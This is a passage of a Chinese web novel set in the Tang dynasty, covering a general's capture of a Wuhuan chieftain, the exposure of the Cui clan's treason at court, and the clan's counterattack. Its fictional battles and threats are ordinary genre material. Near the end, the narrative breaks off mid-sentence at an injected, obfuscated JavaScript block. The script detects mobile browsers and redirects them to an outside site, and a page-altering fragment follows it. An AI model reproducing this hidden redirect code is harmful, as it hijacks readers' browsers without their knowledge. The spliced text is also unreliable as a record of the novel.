他的目光,穿过混乱的人群和弥漫的黄烟,最终锁定在了那个手持横刀、正在大杀四方的“马匪头子”身上。
薛万彻!
邑落的瞳孔猛地收缩。
他认出了那张脸,那个在雁门关下让他吃过无数次亏的唐军猛将!
怎么会是他?
他不是应该在太原府吗?
他怎么会带着一支“马匪”出现在这里?
无数的疑问在邑落脑中炸开,但很快就被一个更可怕的念头所取代。
这是个陷阱!
一个从头到尾都为他精心设计的,天大的陷阱!
“崔家……林浩……”
邑落的牙齿咬得咯咯作响,他终于明白,自己从头到尾,都只是别人棋盘上的一颗棋子。
“保护首领!冲出去!”
亲卫队发出最后的悲鸣,他们红着眼睛,组成一道人墙,试图为邑落杀出一条血路。
薛万彻也看到了邑落。
他咧开嘴,露出一口白森森的牙齿,那笑容,比恶鬼还要狰狞。
“邑落!你个**的!老子等你好久了!”
他将横刀往肩膀上一扛,带着十几名最彪悍的亲随,如同一支射出的利箭,直直地朝着邑落的方向凿去。
挡在他面前的乌桓兵,无论是谁,都被他一刀劈开。
他的目标只有一个,就是邑落的脑袋!
看着那个越来越近的杀神,邑落终于感到了恐惧,一种发自灵魂深处的颤栗。
他知道,今天,他栽了。
他拨转马头,第一次产生了逃跑的念头。
然而,就在他准备逃向山谷深处,试图寻找其他出路的那一刻。
“轰——!!!!”
一声比之前任何声音都要恐怖的巨响,从黑石谷的最深处传来!
一团更加巨大、更加炽热的火球,冲天而起,将整个山谷照得亮如白昼。
狂暴的冲击波席卷而来,将无数人马掀翻在地。
邑落被这股气浪直接从马背上掀了下来,他狼狈地抬起头,呆呆地看着那片他最后的希望之地,此刻已经变成了一片炼狱火海。
完了。
一切都完了。
第142章:最终目标,突厥颉利可汗!
那一声惊天动地的巨响,是压垮骆驼的最后一根稻草。
黑石谷最深处的火光,映红了邑落那张写满惊骇与绝望的脸。
他的第二个宝库,他最后的希望,他赖以翻盘的所有底牌,都在那片冲天的烈焰中化为了灰烬。
完了。
这个念头,像一把烧红的铁钳,狠狠烙进了他的脑子里。
他不是被唐军主力击败的,甚至不是被薛万彻这支奇兵击败的。
他是被一个看不见的对手,用他自己的贪婪和自负,一步步引诱到这个精心布置的屠宰场里,然后一刀毙命。
“林浩……”邑落的嘴唇蠕动着,吐出了这个他从未见过,却恨之入骨的名字。
“你还有空想别人?”
一个粗野的声音在他耳边炸响,带着浓重的血腥味。
邑落猛地回头,正对上薛万彻那双满是杀意的眼睛。
薛万彻像一头从山林里扑出来的猛虎,他身后的九十名“马匪”已经彻底凿穿了乌桓军混乱的阵型,将邑落和他身边仅剩的几十名亲卫死死围住。
“保护首领!”
亲卫队长发出最后的悲吼,带着残存的手下,发起了决死冲锋。
然而,在士气和体力都已崩溃的此刻,他们的抵抗显得如此可笑。
薛万彻甚至没有亲自动手,他身后的那些悍卒三五成群,结成一个个小小的绞杀阵,默契地迎了上去。
刀光闪烁,血肉横飞。
没有惨叫,只有利刃切开皮肉的闷响和尸体倒地的沉重声音。
不到一炷香的功夫,邑落身边再无一个站着的活人。
只剩下他自己,孤零零地骑在马上,握着弯刀的手,抖得像秋风中的落叶。
他看着那个扛着横刀,一步步向自己走来的薛万彻,喉咙里发出一阵嗬嗬的怪响。
恐惧攫住了他的心脏。
他猛地一拽马缰,调转马头,不顾一切地朝着山谷深处唯一的通路冲去。
只要能逃出这个山谷,只要能……
“砰!”
战马的前蹄突然陷进了一个不起眼的土坑里,发出一声痛苦的悲鸣,将他重重地摔在了地上。
邑落挣扎着爬起来,才发现前方的道路上,布满了这种被杂草掩盖的陷阱。
他的退路,早就被算计得死死的。
“跑啊?怎么不跑了?”薛万彻的声音在他身后响起,充满了戏谑,“你不是挺能跑的吗?从雁门关外,一直跑到这黑石谷里来。”
邑落转过身,面目狰狞,他举起弯刀,发出了野兽般的咆哮。
“薛万彻!你别得意!这只是开始!崔家答应我的!‘天狼’计划一旦启动,你们大唐的半壁江山都将陷入火海!你们的皇帝,会跪下来求我!”
“天狼?”薛万彻的脚步顿了一下,他把这两个字在嘴里嚼了嚼,然后咧嘴一笑,“老子管你什么天狼地虎,今天先把你这头蠢狼的皮给剥了!”
话音未落,他整个人已经暴射而出。
邑落也是久经沙场的悍将,求生的本能让他爆发出了最后的余力,挥刀格挡。
“当!”
双刀交击,火星四溅。
邑落只觉得一股无法抗拒的大力从刀身传来,虎口瞬间被震裂,弯刀几乎脱手。
他还没来得及变招,薛万彻的第二刀已经到了。
简单,直接,霸道。
没有花哨的技巧,只有纯粹的力量和速度。
邑落连退三步,用尽全身力气才勉强挡住。
薛万彻的攻势却如狂风暴雨,一刀快过一刀,一刀重过一刀,压得邑落喘不过气来。
“你!你根本不是马匪!”邑落惊怒地吼道,“你们的战术,你们的手段……这是林浩的计策!”
“现在才想明白?晚了!”
薛万彻一脚踹在他的小腹上,将他狠狠踹翻在地。
冰冷的刀锋,瞬间架在了他的脖子上。
“邑落,你的头,老子收下了。”薛万-彻居高临下地看着他,脸上没有半分胜利的喜悦,只有一片冰寒。
邑落看着那把离自己咽喉只有一寸的横刀,感受着刀锋上散发出的寒气,终于彻底崩溃了。
他发出一阵意义不明的嘶吼,像一头被拔了牙的野兽。
“不杀他。”薛万彻对着走上来的亲兵吩咐,“捆结实了,堵上嘴。这狗东西,还有用。”
战斗已经结束。
整个黑石谷,变成了一座巨大的人间炼狱。
唐军开始打扫战场,清点俘虏。
很快,一名斥候队长兴奋地跑了过来。
“将军!发财了!您快来看!”
薛万彻跟着他来到山谷深处,绕过那片还在冒着黑烟的爆炸废墟,走进了一处被巧妙伪装起来的山洞。
山洞里,堆满了物资。
一袋袋足够装备数万匹战马的精制马料,一箱箱崭新锃亮、还泛着油光的陌刀和强弓,甚至还有上百个完好无损的陶罐。
薛万彻打开一个,那股熟悉的、刺鼻的油腻气味,让他眼皮直跳。
第二批猛火油!
崔家,真的给乌桓人准备了足以发动一场灭国之战的所有东西!
“将军,这里还有几个箱子,特别重,而且都上了锁!”
亲兵用刀撬开其中一个沉重的铁皮箱。
箱子打开的瞬间,所有人都倒吸了一口凉气。
里面没有金银珠宝,而是一卷卷码放整齐的羊皮地图,和一叠叠用油布包裹的信件。
薛万-彻拿起最上面的一卷地图。
上面用朱砂清晰地标注着从雁门关到太原府,乃至通往长安的每一条官道、小路、兵力部署、烽火台位置。
其详尽程度,比他这个边关宿将知道的还要多!
他随手拆开一封信,上面的字迹龙飞凤舞,落款是一个清晰的名字——崔进。
信里的内容,更是让他看得浑身发冷。
“……邑落首领亲启。代州守将杜兴,刚愎自用,不足为虑。届时只需以百姓胁迫,其必然束手无策。待城中人心惶惶,将军即可用‘天火’焚城,事后吾自会在朝中运作,将罪责尽数推于杜兴,并联合山东、江南世家,弹劾兵部尚书李靖调度失当,陛下必受重压……”
“……河北道总管李绩,已被吾等门生故旧以‘军粮稽查’为由拖在贝州,短期内无法驰援。河东道薛万彻,有勇无谋之辈,吾已安排人手,以其嗜酒为由头,寻机发难,夺其兵权……”
一封封信看下来,薛万彻的手抖得越来越厉害。
这哪里是叛国!
这分明是要挖断大唐的龙脉,让整个北方防线彻底瘫痪,再在朝堂之上掀起惊涛骇浪,把李家的天下,搅个天翻地覆!
就在这时,一名士兵在爆炸废墟里有了新的发现。
“将军!这里有块牌子!”
那是一块被炸得残缺不全的铜牌,上面沾满了黑色的油污,但依然可以辨认出,那是一个龙飞凤舞的“崔”字。
是崔家的家徽!
铁证如山!
“把这些东西,全都给老子装好!一根毛都不许少!”
薛万彻的声音嘶哑,他指着那些信件和地图,“派最快的马,最好的骑手,立刻!马上!把这些东西和战报一起,送到太原府林大人手上!”
他转过身,看着被五花大绑、像死狗一样拖过来的邑落,一脚踹在他的脸上。
“说!‘天狼’计划,到底是什么鬼东西!”
邑落吐出一口血沫,怨毒地看着他,放声狂笑。
一名被俘的乌桓百夫长,看着眼前的情景,又看了看那些被翻出来的信件,眼神一阵变幻,突然噗通一声跪倒在地。
“将军饶命!我说!我都说!”
他颤抖着声音,说出了一句让在场所有唐军都汗毛倒竖的话。
“‘天狼’……‘天狼’不止我们乌桓人,还有……还有突厥的颉利可汗!”
第143章:好大的手笔!崔家真正的杀招!
突厥!颉利可汗!
听到这两个词,薛万彻脸上的肌肉抽搐了一下,他一把揪住那百夫长的衣领,将他提了起来,通红的眼睛死死盯着他。
“你他娘的再说一遍!什么颉利可汗?”
“将军饶命!饶命啊!”那百夫长吓得魂飞魄散,裤裆里一片湿热,“‘天狼’计划……崔家许诺的,不止是给我们乌桓的好处。他们真正的合作对象,是、是东突厥的颉利可汗!我们邑落首领,只是计划里打头阵的先锋……是用来试探大唐边军虚实的棋子!”
薛万彻终于明白,为什么崔家会下这么大的血本,为什么林浩会如此慎重。
这盘棋,从一开始就不是为了一个小小的代州。
他们的目标,是整个大唐的北方!
“把所有俘虏都给老子看紧了!尤其是邑落!”
薛万彻松开手,任由那百夫长瘫软在地,“派人,清点战果,打扫战场!把这些信件、地图,所有带‘崔’字的东西,全部打包!一件都不能少!”
他指着一名最精悍的斥候队长。
“你!挑最好的马,带上两个人,把这些东西,还有刚刚审出来的口供,用最快的速度,送到太原府林大人手上!告诉林大人,我们抓到了邑落,但事情……比我们想的要大得多!”
“是!”
那名斥候不敢有丝毫耽搁,立刻点了两名骑术最好的手下,将那些足以让整个崔氏满门抄斩的罪证用油布层层包裹,揣入怀中,翻身上马,朝着南方的夜色狂奔而去。
黑石谷的血腥味还未散去,清点战果的工作已经有条不紊地展开。
此役,薛万彻率一百一十人,伏杀乌桓精骑五千。
斩首三千余,俘虏近千,其中便包括了主将邑落。
只有少数乌桓散兵趁乱逃入了茫茫荒野,但他们失去了战马和补给,在这片寒冷的土地上,也活不了多久。
而薛万彻这边,付出的代价,仅仅是十几人受了轻伤。
这是一场载入史册都毫不为过的辉煌大胜。
消息传开,整个北境为之震动。
原本围困代州城的乌桓偏师,在听闻主帅被擒、主力覆灭的消息后,瞬间崩溃,连夜拔营逃窜,代州之围,不战自解。
……
太原府,后衙。
当黑石谷大捷的消息传回来时,李君羡正躺在床上,费力地喝着一碗汤药。
听到亲兵的禀报,他端着碗的手猛地一抖,滚烫的汤药洒在手上也毫无知觉。
“你说什么?再说一遍!”
“李统领!”那亲兵也是一脸的激动和崇拜,“薛将军在黑石谷设伏,大破乌桓五千精骑!斩首三千,生擒其主将邑落!我军……我军伤亡微乎其微!”
“赢了……赢了……”
李君羡的眼眶一下子就红了,两行浑浊的泪水顺着他烧伤的脸颊滚落,与那些狰狞的伤疤混在一起。
他想起了那些在“风眼”要塞里被活活烧死的不良人兄弟。
他们的血,没有白流。
这股激动的情绪冲击之下,他猛地咳嗽起来,却又忍不住放声大笑,笑声嘶哑,听上去比哭还难受。
旁边的军医吓了一跳,赶紧上前为他顺气。
“李统领,您悠着点,别动了伤口!”
李君羡却摆了摆手,他感觉胸口的郁结之气,随着这一场大捷,消散了大半,连呼吸都顺畅了许多。
而在另一间屋子里,林浩正站在巨大的沙盘前。
当斥候队长将那个沉甸甸的油布包袱放在他面前时,他脸上的神情依旧平静。
他没有先看战报,而是亲手解开了那个包袱。
一卷卷详尽的行军地图,一封封字迹熟悉的亲笔信,还有那块被炸得残缺不全、却依旧能辨认出“崔”字的铜牌。
林浩拿起那封写给邑落的,关于如何算计代州守将杜兴的信,只扫了一眼,嘴角便抑制不住地上扬。
他等这一刻,已经等了太久。
从查抄私盐开始,一步步引蛇出洞,再到请君入瓮。
崔家这棵盘根错节的百年大树,终于被他找到了最致命的根须。
“大人,薛将军还传来口讯。”斥候队长压低了声音,将从乌桓百夫长口中审出的情报,一字不差地复述了一遍,“……崔家真正的目标,是勾结东突厥的颉利可汗,图谋我大唐北方边境!”
林浩脸上的笑意,缓缓收敛。
他拿起那份标注着从雁门关到长安所有兵力部署的地图,手指在上面轻轻划过。
原来如此。
乌桓只是一个诱饵,一个用来消耗大唐边军,并且将他林浩的注意力牢牢钉在代州的棋子。
崔家真正的杀招,在更北的地方。
一旦他被邑落拖住,或者代州失守,河北、河东两道防线大乱,远在草原的颉利可汗,便会得到信号,率领数十万铁骑,长驱直入!
到那时,整个北方都将糜烂,京师震动。
崔家再在朝堂之上发难,内外夹击之下,李世民的皇位,还真不一定能坐得稳。
好大的手笔!好毒的计策!
“林大人,此事……”斥候队长看着林浩愈发凝重的脸色,心中也不由得紧张起来。
“无妨。”
林浩将那份地图重新卷好,脸上的神情已经恢复了古井无波。
他走到书案前,亲自研墨铺纸,提笔蘸墨。
他要写的,是一封奏折。
一封足以让整个长安城都天翻地覆的奏折。
他下笔极快,将黑石谷一战的辉煌战果,缴获的崔家罪证,以及从邑落和俘虏口中得到的关于“天狼”计划和突厥的惊天阴谋,条理清晰,言简意赅地一一写明。
写完之后,他将奏折与一封崔进的亲笔信、一份最关键的地图副本,一同装入一个牛皮信筒,用火漆封死。
“传我将令!”林浩的声音在安静的房间里响起,清晰而有力。
“即刻起,全城戒严!将邑落等重要人犯,秘密押送至府衙大牢,严加看管,任何人不得探视!”
“向全军将士通报黑石谷大捷!阵亡者,三倍抚恤!参战者,官升一级,赏钱百贯!此战首功,记薛万彻!”
“开府库,取钱粮,犒赏三军!另外,在太原城中张贴捷报,让全城百姓,都知道我们打了大胜仗!”
“命薛万彻,以黑石谷为据点,收拢残兵,整编俘虏,就地休整。同时派出所有斥候,严密监视北境草原的一切动向!”
一道道命令,从他口中有条不紊地发出。
最后,他将那封关系着无数人命运的奏折,交给了早已等候在门外的另一名心腹亲兵。
“八百里加急,送往长安。人可以死,奏折绝不能丢!亲手交到陛下手上!”
“遵命!”
那亲兵接过信筒,郑重地揣入怀中,转身飞奔而出。
第144章:当朝宣读罪证,剑指第一世家
太极殿。
朝会的气氛有些沉闷。
几位御史正在为了一桩江南漕运的旧案争得面红耳赤,唾沫横飞。
龙椅上的李世民面无表情,手指轻轻叩击着扶手,似乎有些心不在焉。
北境的战事,像一块巨石压在他的心头。
林浩的三道旨意已经下去好几天了,却迟迟没有消息传来。
他赌上了自己的声望,赌上了大唐的国运,将希望寄托在那个年轻人身上。
这几天,朝中风言风语不断,弹劾林浩年轻气盛、贻误战机的奏折,已经堆了半尺高。
若不是长孙无忌等人强力压着,恐怕早已闹得不可开交。
就在此时,殿外传来一阵急促而杂乱的脚步声,夹杂着中官尖锐的呵斥。
“站住!此乃太极殿!”
“八百里加急!北境捷报!林大人奏折,请陛下亲启!”
一个沙哑到极致,却又拼尽全力的声音,穿透了殿门,清晰地传入每个人的耳朵里。
捷报?
满朝文武的争论戛然而止,所有人都齐刷刷地望向殿门。
李世民那一直轻叩的手指,也停了下来。
他猛地坐直了身体。
一名浑身浴血、盔甲破烂的斥候,被两名禁军架着,踉踉跄跄地冲了进来。
他挣脱禁军,用尽最后的力气,高高举起一个用火漆封死的牛皮信筒,噗通一声跪倒在地。
“陛下……北境大捷!林大人……在黑石谷……全歼乌桓主力,生擒其首……邑落!”
斥候说完这句话,头一歪,便昏死过去。
整个太极殿,陷入了一片死一样的寂静。
全歼?
生擒邑落?
这怎么可能!
前两天传回来的消息,不还是乌桓人气势汹汹,代州危在旦夕吗?
李世民的呼吸都停滞了一瞬。
他快步走下御阶,亲自从那斥候手中取过信筒,颤抖着手指撕开了火漆。
他先展开的是战报。
当看到“斩首三千,俘虏近千,我军伤亡微乎其微”这几个字时,他的手抖了一下。
当他看到缴获的物资清单,看到那足以发动一场灭国之战的军械和猛火油时,他的脸色变了。
最后,他抽出了那封崔进的亲笔信,和那份标注着大唐北方所有兵力部署的地图副本。
李世民的脸,由红转白,再由白转青。
一股恐怖的气息,从他身上弥漫开来,整个大殿的温度仿佛都下降了许多。
“好……好一个崔家!好一个我大唐的肱股之臣!”
他没有咆哮,声音甚至很平静,但那平静之下压抑的怒火,让所有人都感到一阵心悸。
“王德!”
“奴婢在!”
“念!”李世民将那封崔进的亲笔信和地图,狠狠摔在内侍总管王德的怀里。
“给朕念!让满朝文武,都听听!都好好听听!我大唐的兵部侍郎,世家楷模,都背着朕,做了些什么好事!”
王德吓得一个哆嗦,他展开那封信,用尖利而颤抖的声音,开始宣读。
“……邑落首领亲启。代州守将杜兴,刚愎自用,不足为虑。届时只需以百姓胁迫,其必然束手无策……”
“……河北道总管李绩,已被吾等门生故旧以‘军粮稽查’为由拖在贝州……”
“……待城中人心惶惶,将军即可用‘天火’焚城,事后吾自会在朝中运作,将罪责尽数推于杜兴……”
每一个字,都像一记重锤,狠狠砸在殿中所有官员的心上。
朝堂之上,一片哗然。
所有人的目光,都下意识地汇聚到了站在前列的一个身影上。
兵部侍郎,清河崔氏的当代家主,崔进。
此刻的崔进,脸色惨白如纸,额头上全是豆大的汗珠。
他张了张嘴,想要辩解,却一个字也说不出来。
那信上的字迹,他再熟悉不过!
“不……这不是真的……”他喃喃自语,身体摇摇欲坠。
王德没有停,他又展开了那份地图,将上面的内容一一说明。
从雁门关到长安的每一条小路,每一个烽火台的换防时间,每一个武库的兵力员额……
详尽到令人发指!
这已经不是通敌,这是要把大唐的国门,亲自为敌人敞开!
“诬告!这是诬告!”
崔进终于从震惊中反应过来,他猛地跪倒在地,向着李世民连连叩首。
“陛下!臣冤枉啊!这是林浩的栽赃陷害!他与臣有私怨,这是在报复!请陛下明察啊!”
他的声音凄厉,听上去倒真有几分冤屈。
一些与崔家交好的官员,也准备出列附和。
就在此时,殿外又传来一声高喊。
“报——!百骑司密报!”
一名百骑司的“猴子”,风尘仆仆地冲入殿中,跪倒在地,呈上一个蜡丸。
“陛下!此乃李君羡统领自代州敌后传回的密报!”
李世民捏碎蜡丸,展开里面的纸条,只扫了一眼,便放声大笑起来,笑声中充满了无尽的悲凉与愤怒。
他将纸条扔在崔进的面前。
“崔侍郎,你再看看这个!”
“看看李君羡和他的百十个弟兄,是如何被你们崔家的‘天火’,活活烧死在‘风眼’要塞的!”
“你再看看,这上面写的,跟你送给邑落的计划,是不是一模一样!”
崔进看着那张纸条,看着上面熟悉的计划内容,他眼中的最后一丝侥幸,彻底熄灭了。
完了。
人证物证俱在,两份证据完美地形成了闭环。
他再也无力辩驳。
“来人!”李世民的怒吼,终于在太极殿上空炸响。
“将国贼崔进,给朕拿下!摘去官帽,剥去朝服,打入天牢!”
两名如狼似虎的禁军冲了上来,一把按住瘫软如泥的崔进,粗暴地扯掉了他的乌纱帽和官服。
“陛下饶命!陛下,臣为大唐流过血啊!臣……”
崔进的哀嚎,被一块破布死死堵住,像一条死狗一样被拖出了太极殿。
满朝文武,噤若寒蝉。
刚才还想为崔进说话的几名官员,此刻恨不得把头埋进地里。
萧瑀和长孙无忌对视一眼,都从对方的表情中看到了后怕。
他们知道崔家跋扈,却没想到,他们竟敢做出如此丧心病狂之事!
“查!”李世民的胸膛剧烈起伏,他指着殿外的方向。
“命大理寺、御史台,立刻查封崔府!彻查!给朕往死里查!”
“凡与此案有关者,无论官职高低,无论门第如何,一律严惩不贷!朕要让天下人都看看,叛国,是个什么下场!”
李世民的目光扫过殿下战战兢兢的百官,最后,他深吸一口气,重新走回龙椅。
他必须稳住。
崔家的倒台只是开始,接下来,才是真正的硬仗。
“王德。”
“奴婢在。”
“传朕旨意。”李世民的声音恢复了帝王的威严与冷静。
“擢升林浩为河北河东两道节度黜置使,总领两道军政要务,节制所有兵马!命其继续彻查‘天狼’余党!”
第145章:百足之虫!崔家的疯狂反扑!
太极殿的死寂,被崔进那渐行渐远的哀嚎声撕破。
李世民胸膛剧烈地起伏,他坐回龙椅,铁青的脸色没有半分缓和。
满朝文武,噤若寒蝉,连呼吸都刻意放轻了。
刚才那惊心动魄的一幕,让所有人都明白,皇帝这次是真的动了雷霆之怒。
清河崔氏,这个盘踞华夏数百年的庞然大物,今日终于撞上了最坚硬的铁板。
“陛下息怒。”长孙无忌出列,躬身一拜,“崔进罪大恶极,然崔氏盘根错节,牵连甚广,骤然清算,恐动摇国本,还请陛下三思。”
他这话并非为崔家求情,而是作为宰相,不得不考虑的现实。
世家门阀,如同大唐这栋屋子的主梁,一根烂了,可以换,但若是抽换的动作太大,整栋屋子都有可能塌掉。
“动摇国本?”李世民发出一声冷笑,他将那份从北境传回的地图,狠狠掷于阶下,“若非林浩,朕的国本,就要被他们从根上刨了!朕的江山,都要拱手送人了!到那时,谁来与朕谈国本!”
萧瑀亦上前一步,声音沉重:“陛下,辅机所言不无道理。此事,需徐徐图之。当务之急,是稳定朝局,安抚人心。”
李世民看着座下这两位心腹重臣,眼中的怒火渐渐被一片深沉的寒意所取代。
他明白他们的顾虑。
但他更明白,对毒蛇的仁慈,就是对自己的残忍。
“朕意已决。”李世民的声音不大,却掷地有声,“查!一查到底!朕倒要看看,我大唐的肌体里,还藏着多少这样的脓疮!”
朝会不欢而散。
百官们鱼贯而出,许多人后背的官服都已被冷汗浸透。
长孙无忌与萧瑀并肩而行,两人相视一眼,皆看到了对方眉宇间的忧虑。
“辅机兄,你觉得,事情会这么简单了结吗?”萧瑀压低了声音。
长孙无忌叹了口气,摇了摇头:“崔进倒了,可‘清河崔氏’这四个字,还没倒。百足之虫,死而不僵。接下来,恐怕才是真正的腥风血雨。”
他们都清楚,崔家真正的力量,从来都不是一个兵部侍郎的官位,而是那张遍布朝野、渗透地方、经营了数百年的关系网。
这张网,现在要反扑了。
……
接下来的几天,长安城的气氛变得异常诡异。
大理寺和御史台的官差,如同嗅到血腥味的饿狼,扑向了崔府。
然而,雷声大,雨点小。
查抄行动遇到了前所未有的阻力。
崔府早已人去楼空,只剩下一些无关紧要的下人。
账本、信件、名册……所有可能指向核心罪证的东西,都消失得无影无踪,仿佛人间蒸发。
审讯被捕的崔家族人,也问不出任何有价值的东西,他们众口一词,将所有罪责都推到了崔进一人身上,声称对“天狼”计划毫不知情。
与此同时,朝堂之上,风向突变。
数十名官员,突然集体上书。
奏折的内容五花八门,但核心意思却出奇的一致。
他们不为崔进辩解,反而痛斥其叛国之罪。
但话锋一转,却又开始哭诉,说陛下此举,过于严苛,有“因一人之罪,而伐一族”的嫌疑,令天下世家胆寒,动摇国本。
更有甚者,将矛头直指林浩。
弹劾他滥用君权,构陷忠良,以边疆战事为要挟,行党同伐异之实。
一时间,太极殿上,唾沫横飞。
仿佛犯错的不是通敌卖国的崔家,而是力挽狂澜的林浩和铁腕处置的皇帝。
更让李世民震怒的事情,接踵而至。
河北道传来急报,总管李绩遭到地方官员联名弹劾,理由是“调度无方,致使军粮补给不畅,贻误战机”,请求朝廷将其调离边关,另择贤能。
李绩是李世民一手提拔的心腹大将,是大唐北境的定海神针。
在这个节骨眼上动他,其心可诛!
“混账!一群混账!”
御书房内,李世民将一本奏折狠狠摔在地上,气得浑身发抖。
崔家的反击,比他想象的还要快,还要狠。
他们不跟你讲证据,不跟你讲道理,他们直接用经营了百年的官僚体系,来跟你耍无赖,来掣肘你的一切行动。
就在李世民怒不可遏之时,内侍总管王德面色惨白地快步走了进来,噗通一声跪倒在地。
“陛下……东宫出事了。”
李世民的心猛地一沉。
“说!”
“太子詹事于志宁,被人告发……告发私通突厥,已被御史台的人带走审查了!”
于志宁,太子李承乾的老师,东宫的股肱之臣,出了名的耿直忠臣。
说他私通突厥?
简直是滑天下之大稽!
李世民瞬间明白了。
这是围魏救赵,是攻敌之必救。
他们动不了皇帝,就动太子。
他们要用太子的安危,来逼迫李世民在崔家的事情上让步。
一环扣一环,招招歹毒,直指要害。
朝堂之上,一时间竟形成了诡异的僵持。
……
太原府。
林浩看着手中由百骑司加急送来的密报,神情平静。
长安城里掀起的惊涛骇浪,似乎并未让他感到意外。
他早就料到,扳倒崔家,绝不会一帆风顺。
但他没想到,对方的反扑会如此疯狂,如此不计后果。
“大人,现在怎么办?”李君羡站在一旁,脸上满是焦急,“李绩大将军被弹劾,太子詹事被构陷,这帮混蛋,是想把天给捅个窟窿啊!”
林浩没有说话,他走到沙盘前,手指在上面缓缓划过。
从长安,到太原,再到北方的雁门关。
崔家的每一步棋,都清晰地呈现在他眼前。
在朝堂上制造舆论,拖延对崔家的清算。
在地方上攻击李绩,试图瘫痪北境的军事指挥。
在东宫里陷害于志宁,以此要挟李世民。
他们的核心目的只有一个:切断长安与北境的一切联系,将他林浩,将整个河东河北两道,变成一座孤岛。
只要朝廷的支援过不来,只要北境的真实情报传不回长安,他们就有足够的时间和空间,去发动他们真正的杀招。
“地方豪族……”林浩的嘴里,轻轻吐出四个字。
他几乎可以肯定,崔家的下一步,就是煽动与他们交好的地方势力,以“民乱”或是“兵变”为借口,彻底堵死通往北境的道路。
“来人!”林浩转身,声音沉稳有力。
“传令薛万彻,将黑石谷缴获的所有罪证、军械,分作十批,由最精锐的斥候,走不同的小路,日夜兼程,送往长安。告诉他们,人可以死,东西绝不能丢!”
“是!”
“另外,”林浩看向李君羡,“去把太原府信鸽管理司的司丞,还有城中最大的商会‘四海通’的掌柜,秘密请来。我有要事相商。”
半个时辰后,一间密室里。
看着眼前一个战战兢兢的文官和一个精明干练的商人,林浩开门见山。
“我要建立一条,独立于所有驿站和官道之外的情报网。用你们的信鸽,用你们的商队,将我的消息,送到大唐的每一个角落。”
那商会掌柜闻言,脸色一变,刚想推辞,却对上了林浩那双平静无波的眼睛。
他忽然想起眼前这个年轻人的赫赫凶名,把到了嘴边的话,又咽了回去。
林浩拿出一箱黄金,推到两人面前。
“事成之后,还有十倍的酬劳。做,还是不做?”
第146章:薛万彻:抢盐?我**最喜欢
密室之内,空气仿佛凝固了。
太原府信鸽管理司的司丞,一个瘦小的文官,额角的汗珠顺着脸颊滑落,滴在官服上,洇开一小片深色。
他旁边的“四海通”商会掌柜,平日里八面玲珑,此刻也只是低着头,眼角的余光不住地瞟向桌上那只敞开的木箱。
箱子里,黄澄澄的金条码放得整整齐齐,在烛光下反射出令人心悸的光芒。
“两位,考虑得如何?”
林浩的声音很平淡,听不出喜怒。
他没有催促,只是慢条斯理地将一杯热茶推到两人面前。
那名掌柜艰难地咽了口唾沫,终于鼓起勇气抬起头,脸上挤出一个比哭还难看的笑容。
“林大人……这……这不是钱不钱的事。您要我们做的,是绕开朝廷驿站,私建情报网……这可是掉脑袋的买卖啊。”
林浩端起自己的茶杯,轻轻吹了吹热气。
“掉脑袋?”他轻笑一声,“现在长安城里,想掉我林浩脑袋的人,能从承天门排到朱雀大街。多你们两个不多,少你们两个不少。”
他放下茶杯,杯底与桌面碰撞,发出“嗒”的一声轻响。
“但是,你们得想清楚。我林浩要办的事,从来没有办不成的。你们今天从这个门走出去,可以选择不做。”
他的话语顿了顿,平静地看着两人。
“明天,太原城里就没有‘四海通’商会了。至于司丞大人你……我想查一查,你手下的信鸽,这些年有没有飞到不该飞的地方去,应该不难。”
赤裸裸的威胁。
不加任何掩饰。
那商会掌柜的脸色瞬间煞白,而那名司丞更是双腿一软,差点瘫倒在地。
他们对上的,不是一个讲道理的文官,而是一个刚在黑石谷用一百人屠了五千精锐的活阎王。
“我……我做!”商会掌柜几乎是脱口而出,声音都变了调。
“小人愿为大人效犬马之劳!”司丞也赶紧跪倒在地,连连磕头。
林浩满意地点了点头,将那箱黄金推了过去。
“很好。我要你们的鸽子和商队,在三天之内,铺满从太原到长安的每一条小路。我要知道沿途每一个县,每一个镇,甚至每一个村子发生的所有事情。”
他站起身,走到沙盘前,手指点在几个交通要道上。
“尤其是这些地方的豪族,他们见了什么人,说了什么话,家里的粮仓动了没有,私兵集结了没有,我都要一清二楚。”
“记住,你们不是在为我做事,是在为自己挣命。”
……
与此同时,长安城,御书房。
“砰!”
一本奏折被狠狠地砸在地上,名贵的波斯地毯上,散落了一地狼藉。
李世民的胸膛剧烈起伏,双目赤红,指着跪在下方的内侍总管王德,气得说不出话来。
“欺人太甚!真是欺人太甚!”
短短三天。
先是数十名官员集体上书,不谈崔进的罪,只说他“株连过甚,动摇国本”,逼得他不得不暂缓对崔家的清查。
紧接着,河北道的奏报就到了。
他最倚重的大将李绩,居然被一群地方小官联名**“调度无方,贻误战机”,请求调离。
而就在刚才,东宫传来消息,太子詹事于志宁,被御史台以“私通突厥”的罪名带走。
一环扣一环,招招都打在他的软肋上。
他们不敢直接对抗皇帝,就从皇帝最信任的臣子、最倚重的边帅、最疼爱的太子身上下手。
这张由世家编织了数百年的大网,第一次向他展露了它狰狞而恐怖的全貌。
它不跟你正面厮杀,它只是用无数根看不见的线,缠住你的手脚,堵住你的嘴巴,让你有力使不出,有火发不出。
“陛下息怒……”长孙无忌和萧瑀站在一旁,也是满脸的凝重与无奈。
他们预料到崔家会反扑,却没料到会如此疯狂,如此不计后果。
“息怒?辅机,你告诉朕,怎么息怒!”李世民指着那满地的奏折,“朕的将军在前线流血,朕的臣子在后方被构陷,朕的太子都被他们当成了要挟的筹码!朕这个皇帝,当得还有什么意思!”
这是李世民登基以来,第一次感到如此的憋屈和无力。
他可以横刀立马,阵斩敌酋。
却无法砍断这盘根错节、深入骨髓的利益之网。
……
太原府。
林浩将百骑司传来的最新密报,放在烛火上,静静地看着它化为灰烬。
李君羡在一旁急得团团转。
“大人!长安都乱成一锅粥了!李绩大将军被*
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459810|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
*,于大人被抓,这帮龟孙子是疯了吗?我们不能就这么干等着啊!”
林浩转过身,神情依旧平静。
“急什么。”
